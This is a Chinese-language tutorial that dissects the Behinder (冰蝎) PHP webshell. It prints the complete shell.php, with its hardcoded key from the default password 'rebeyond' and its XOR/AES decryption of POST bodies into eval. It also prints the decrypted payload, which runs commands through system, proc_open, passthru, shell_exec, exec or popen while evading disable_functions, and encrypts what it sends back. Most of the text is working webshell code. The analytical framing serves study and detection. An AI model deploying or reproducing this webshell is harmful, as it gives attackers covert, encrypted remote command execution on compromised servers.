先将冰蝎目录里的server/shell.php 放进 WWW 目录下,打开文件,得第四行默认连接密码 rebeyond
在冰蝎上挂好bp的代理
以执行 whoami 为例
包的大致内容如下
此时发现包的末尾有 == 首先推测出是用base64进行加密,但经过解码后发现仍是乱码,因此此方法无效。(这步的目的主要是看发几个包)
先在连接冰蝎的URL 加入PHPStorm调试参数
shell.php总体流程和解释
@error_reporting(0); //设置错误报告级别为0
session_start(); //新建session
$key = "e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond 完整的是 e45e329feb5d925ba3f549b17b4b3dde
$_SESSION['k'] = $key;
session_write_close(); //结束当前会话并存储会话数据
$post = file_get_contents("php://input"); //获取post包下的那一堆参数
if (!extension_loaded('openssl')) //是否没开启openssl扩展(php.ini) 是用于SSL/TLS协议的加密工具
{
$t = "base64_" . "decode";
$post = $t($post . ""); //第一次base64解码,结果是乱码
for ($i = 0; $i < strlen($post); $i++) { //遍历$post的每个字符,运行下面的计算
$post[$i] = $post[$i] ^ $key[$i + 1 & 15]; //第二次解码,真正出结果的语句,^:异或运算符,&:与运算符
}
} else {
$post = openssl_decrypt($post, "AES128", $key); //解码函数(密文,算法,密钥)
}
$arr = explode('|', $post); //用 | 分割 (二次解码后只在assert后存在| 所以只分成了两段)
$func = $arr[0]; //结果:assert
$params = $arr[1]; //结果:eval(base64_decode(...))
class C
{
public function __invoke($p)
{
eval($p . ""); //执行base64解码后语句,也就是执行$params base64解码后的语句
}
}
@call_user_func(new C(), $params); //调用回调函数
echo 123; //为了快速跳转所设置的断点,能直接得到 $params的值
?>
由此得出,shell.php这个文件的作用是解码 post 传的参数。
而真正执行的语句一共经过了三层加密:base64 -> 异或加密/AES128 ->base64
(如果不懂第二次解码的操作可以debug下面的语句)
$post = ' 此处截取第一次解码后的乱码 ';
$key = "e45e329feb5d925b";
for ($i = 0; $i < strlen($post); $i++) {
$a = $post[$i];
$b = $key[$i + 1 & 15]; //第一次是从4开始的
$c = $a ^ $b;
$post[$i] = $c;
}
?>
准备工作
总体流程和解释
//将shell.php 的头部加上,下面需要
@error_reporting(0);
session_start();
$key = "e45e329feb5d925b";
$_SESSION['k'] = $key;
session_write_close();
//------------------------------
function getSafeStr($str)
{
$s1 = iconv('utf-8', 'gbk//IGNORE', $str); //将$str 从utf-8编码转成gbk编码
$s0 = iconv('gbk', 'utf-8//IGNORE', $s1); //将$1 从utf-8编码转成gbk编码
if ($s0 == $str) {
return $s0;
} else {
return iconv('gbk', 'utf-8//IGNORE', $str);
}
}
function main($cmd, $path)
{
@set_time_limit(0); //设置脚本最大执行时间
@ignore_user_abort(1); //设置客户端断开连接时是否中断脚本的执行
@ini_set('max_execution_time', 0); //为一个配置选项设置值 (设置php.ini中的值,0表示没时间限制)
$result = array();
$PadtJn = @ini_get('disable_functions'); //php.ini 中的选项,设置PHP环境禁止使用某些函数
if (!empty($PadtJn)) { //判断是否不为空
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn); //将禁用函数用,分割成数组
$PadtJn = array_map('trim', $PadtJn); // 回调函数trim():删除字符串开头的空格(或其他字符)
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { //判断是不是window系统;PHP_OS=WINNT;strpos():查找字符串首次出现的位置
$c = $c . " 2>&1\n"; //1表示标准输出,2表示标准错误输出,2>&1表示将标准错误输出重定向到标准输出,这样,程序或者命令的正常输出和错误输出就可以在标准输出输出。
}
$JueQDBH = 'is_callable'; //检测该函数在当前环境中是否可调用
$Bvce = 'in_array'; //搜索数组中是否存在指定的值
if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) { //检测system() 是否可用
ob_start();
system($c);
$kWJW = ob_get_contents(); //获取ob里的值
ob_end_clean();
} else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) { //检测proc_open() 是否可用
$handle = proc_open($c, array( //proc_open() 执行一个命令,并且打开用来输入/输出的文件指针
array( //标准输入,子进程从此管道读取数据
'pipe',
'r'
),
array( //标准输出,子进程向此管道写入数据
'pipe',
'w'
),
array( //再读一次
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (!feof($pipes[1])) { //feof() 测试文件指针是否到了文件结束的位置
$kWJW .= fread($pipes[1], 1024); //每次读1024个字节
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) { //检测passthru() 是否可用
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) { //检测shell_exec() 是否可用
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW); //执行并赋值给$kWJW
$kWJW = join(chr(10), $kWJW) . chr(10); //chr() 函数从指定 ASCII 值返回字符
} else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) { //检测exec()和popen() 是否可用
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (!feof($fp)) { //跟上面一样
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else { //上面的函数都被禁用了
$kWJW = 0;
$result["status"] = base64_encode("fail"); //加入失败的信息
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key); //encrypt(需要加密解密的字符串,密钥)
return;
}
$result["status"] = base64_encode("success"); //加入成功的信息:c3VjY2Vzcw==
$result["msg"] = base64_encode(getSafeStr($kWJW)); //命令执行的结果:$kWJW=win102022liofhw\administrator
echo encrypt(json_encode($result), $_SESSION['k']); //最终的语句
}
function encrypt($data, $key) //再次加密
{
if (!extension_loaded('openssl')) {
for ($i = 0; $i < strlen($data); $i++) {
$data[$i] = $data[$i] ^ $key[$i + 1 & 15]; //原理跟shell.php里的一样
}
return $data; //乱码
} else {
return openssl_encrypt($data, "AES128", $key); //加密函数
}
}
$cmd = "Y2QgL2QgIkM6XHBocFN0dWR5XFdXV1wiJndob2FtaQ==";
$cmd = base64_decode($cmd); //结果:cd /d "C:\phpStudy\WWW\"&whoami (直接执行这句也出结果)
$path = "QzovcGhwU3R1ZHkvV1dXLw==";
$path = base64_decode($path); //结果:C:/phpStudy/WWW/
main($cmd, $path);
路径走向:main() -> getSafeStr() -> encrypt()
各个函数的作用
思路:通过两个参数来进行一系列加密解密,并获取配置文件里的设置来判断该用什么执行命令的函数。但仍然不清楚是怎么将结果返回到冰蝎终端的。